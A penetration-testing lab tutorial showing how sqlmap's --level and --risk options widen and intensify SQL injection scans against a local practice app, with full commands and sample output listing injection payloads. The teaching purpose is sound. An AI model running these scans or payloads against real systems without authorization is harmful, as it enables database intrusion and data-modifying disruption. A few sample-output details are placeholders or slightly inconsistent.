Adjust Scan Aggressiveness with Level and Risk in sqlmap

Introduction

sqlmap is a powerful open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws. When conducting a scan, two of the most important parameters you can control are --level and --risk. These parameters determine the thoroughness and aggressiveness of the scan.

• Level: Controls the number of tests to perform. It ranges from 1 to 5, with higher levels performing more extensive tests on more injection points (like HTTP headers).
• Risk: Controls the riskiness of the payloads used. It ranges from 1 to 3, with higher risks using potentially disruptive payloads (like time-based queries that can slow down a database).

In this lab, you will learn how to use these two parameters to fine-tune your sqlmap scans. You will start with a default scan and progressively increase the level and risk to observe how it impacts the scan's scope, duration, and the types of payloads used.

Understand the Default Level (1) and Risk (1)

In this step, you will perform a basic sqlmap scan without specifying the level or risk. By default, sqlmap uses --level=1 and --risk=1. This is the least comprehensive and safest scan.

Level 1 tests only GET and POST parameters. Risk 1 uses payloads that are generally harmless to a web application, such as basic boolean-based and error-based injection tests.

Let's run the default scan against the vulnerable application that was set up for you. The --batch option automatically answers all questions with the default choice, making the scan non-interactive.

Execute the following command in your terminal:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch

You will see sqlmap start its testing process. Pay attention to the summary at the end, which shows the number of requests made and the vulnerabilities found.

...
[INFO] testing 'Boolean-based blind - WHERE or HAVING clause'
[INFO] testing 'Error-based - WHERE or HAVING clause'
[INFO] testing 'Time-based blind'
...
[INFO] GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of XXX HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2129=2129

    Type: error-based
    Title: SQLite OR error-based - CUME_DIST
    Payload: id=1 OR 1 GROUP BY CUME_DIST(1)

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind
    Payload: id=1 AND 7415=CASE WHEN (substr(sqli,1,1)='S') THEN 7415 ELSE 0 END
---
[INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'
...

This initial scan is relatively quick and confirms the vulnerability in the id parameter.

Increase the Scan Depth with --level=3

In this step, you will increase the scan's depth by setting the level to 3. A higher level tells sqlmap to perform more tests and check for vulnerabilities in additional locations.

• --level=2 adds tests for HTTP Cookie headers.
• --level=3 adds tests for HTTP User-Agent and Referer headers.

By increasing the level, you are asking sqlmap to be more thorough. This will naturally increase the number of requests and the scan duration.

Now, run the scan again, but this time add the --level=3 option:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --level=3 --batch

Observe the output. You will notice that sqlmap now explicitly mentions testing headers like Cookie and User-Agent.

...
[INFO] testing for SQL injection on GET parameter 'id'
...
[INFO] testing for SQL injection on HTTP Cookie header
...
[INFO] testing for SQL injection on HTTP User-Agent header
...
sqlmap identified the following injection point(s) with a total of YYY HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2129=2129
...
---
[INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'
...

Although our simple application is not vulnerable through these headers, a real-world application might be. You should notice that the total number of HTTP requests (YYY) is higher than in the previous step (XXX).

Increase the Scan Invasiveness with --risk=2

In this step, you will explore the --risk parameter. This parameter controls the "danger" of the payloads used.

• --risk=1 (Default): Uses mostly harmless payloads.
• --risk=2: Adds heavy query time-based blind injection tests. These can put a significant load on the database server.
• --risk=3: Adds OR-based SQL injection tests and other potentially destructive payloads that could modify data.

A higher risk can uncover vulnerabilities that safer tests might miss, but it also increases the chance of disrupting the target system. It should be used with caution.

Let's run a scan with an elevated risk. We will go back to the default level (1) to isolate the effect of the risk parameter.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --risk=2 --batch

During this scan, you will see sqlmap employing more aggressive time-based techniques. These payloads work by making the database perform a time-consuming operation (like a benchmark or sleep function) and then measuring the server's response time to infer information.

...
[INFO] testing 'Boolean-based blind - WHERE or HAVING clause'
[INFO] testing 'Error-based - WHERE or HAVING clause'
[INFO] testing 'Time-based blind (heavy query)'
...
[INFO] GET parameter 'id' appears to be 'Time-based blind' injectable
...

The scan with --risk=2 is more intensive than the default scan, even at the same level, because the payloads themselves are more complex.

Execute a Scan Combining --level=5 and --risk=3

In this step, you will combine the highest level and risk settings for the most comprehensive and aggressive scan possible.

• --level=5: The highest level. It tests all possible injection points, including the HTTP Host header.
• --risk=3: The highest risk. It uses payloads that can potentially modify database entries. This is dangerous and should only be used on systems where you have explicit permission for destructive testing.

This combination results in a very long and intensive scan. It is the "kitchen sink" approach, throwing every known test at the target.

Execute the following command. Be aware that this scan will take significantly longer than the previous ones.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --level=5 --risk=3 --batch

You will see sqlmap running a massive number of tests against every conceivable injection point with its most potent payloads.

...
[INFO] testing for SQL injection on GET parameter 'id'
...
[INFO] testing for SQL injection on HTTP Cookie header
...
[INFO] testing for SQL injection on HTTP User-Agent header
...
[INFO] testing for SQL injection on HTTP Referer header
...
[INFO] testing for SQL injection on HTTP Host header
...
[CRITICAL] OR-based injection tests might result in an update of all table rows. Continue? [y/N] y
...

This scan demonstrates the maximum capability of sqlmap but also highlights the importance of understanding the trade-offs. Such a scan is often impractical and too risky for standard engagements.

Observe the Increase in Payloads and Scan Duration

In this final step, you will reflect on the results of the previous scans. There are no new commands to run. The goal is to understand the impact of adjusting level and risk by comparing the scan summaries.

If you review the terminal output from each step, you will notice a clear pattern:

1. Default Scan (--level=1, --risk=1): The baseline. It was fast and sent the fewest requests.
2. Increased Level (--level=3): The number of requests increased because sqlmap tested more injection points (Cookie, User-Agent). The duration increased accordingly.
3. Increased Risk (--risk=2): The scan duration increased, not necessarily due to more requests, but because the time-based payloads are inherently slow.
4. Maximum Aggressiveness (--level=5, --risk=3): This scan sent a vastly larger number of requests and took the longest time to complete by a significant margin.

Here is a summary of the expected behavior:

The key takeaway is that there is a direct trade-off. Increasing level and risk provides more thorough testing and a higher chance of finding obscure vulnerabilities, but it comes at the cost of significantly increased scan time and a higher risk of disrupting the target system.

Summary

In this lab, you have successfully explored how to adjust the aggressiveness of sqlmap scans using the --level and --risk parameters.

You learned that:

• --level controls the scope of the scan, determining which parts of an HTTP request are tested for vulnerabilities. Higher levels are more comprehensive.
• --risk controls the intrusiveness of the scan, determining the types of SQL payloads used. Higher risks are more likely to find vulnerabilities but can be dangerous to the target database.
• The default settings (level=1, risk=1) are designed to be fast and safe.
• Increasing these values leads to longer scan times and requires more caution.

As a best practice, always start with lower level and risk settings. Only escalate them if initial scans are unsuccessful and you have proper authorization to perform more aggressive testing. Congratulations on completing this lab!